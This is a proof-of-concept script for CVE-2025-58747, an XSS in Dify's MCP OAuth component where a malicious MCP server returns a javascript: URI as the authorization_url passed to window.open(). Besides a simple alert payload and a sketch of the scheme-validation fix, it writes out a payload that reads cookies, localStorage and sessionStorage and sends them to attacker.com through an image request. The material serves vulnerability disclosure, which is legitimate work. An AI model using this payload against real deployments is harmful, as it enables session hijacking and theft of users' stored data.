CVE-2025-58747

# CVE-2025-58747 PoC - Dify MCP OAuth XSS # This PoC demonstrates the vulnerability in Dify's MCP OAuth component # where authorization_url from a remote MCP server is passed to window.open() # without validation, allowing JavaScript URI injection. # Step 1: Set up a malicious MCP server that returns a crafted OAuth response # The malicious server returns a javascript: URI in the authorization_url field malicious_oauth_response = { "authorization_url": "javascript:alert(document.cookie)//", "state": "valid_state_token", "client_id": "malicious_client" } # Step 2: Vulnerable code in Dify (simplified representation) # The following pseudo-code shows how the vulnerability exists: """ // Vulnerable implementation in Dify frontend async function connectToMCPServer(serverUrl) { const response = await fetch(`${serverUrl}/oauth/authorize`); const data = await response.json(); // VULNERABILITY: No validation of authorization_url scheme window.open(data.authorization_url, '_blank'); } """ # Step 3: More dangerous payload that could exfiltrate data # When a victim clicks "Connect" on the attacker-controlled MCP server, # the following JavaScript executes in Dify's context: malicious_payload = """ javascript:void((function(){ var cookies = document.cookie; var localData = JSON.stringify(localStorage); var sessionData = JSON.stringify(sessionStorage); // Exfiltrate data to attacker's server var img = new Image(); img.src = 'https://attacker.com/steal?c=' + btoa(cookies) + '&l=' + btoa(localData) + '&s=' + btoa(sessionData); })())// """ # Step 4: Secure implementation (fix) """ // Fixed implementation with URL validation async function connectToMCPServer(serverUrl) { const response = await fetch(`${serverUrl}/oauth/authorize`); const data = await response.json(); // Validate the URL scheme try { const url = new URL(data.authorization_url); if (url.protocol !== 'https:' && url.protocol !== 'http:') { throw new Error('Invalid URL scheme'); } window.open(data.authorization_url, '_blank'); } catch (e) { console.error('Invalid authorization URL:', e); } } """ print("PoC for CVE-2025-58747: Dify MCP OAuth XSS via javascript: URI injection")

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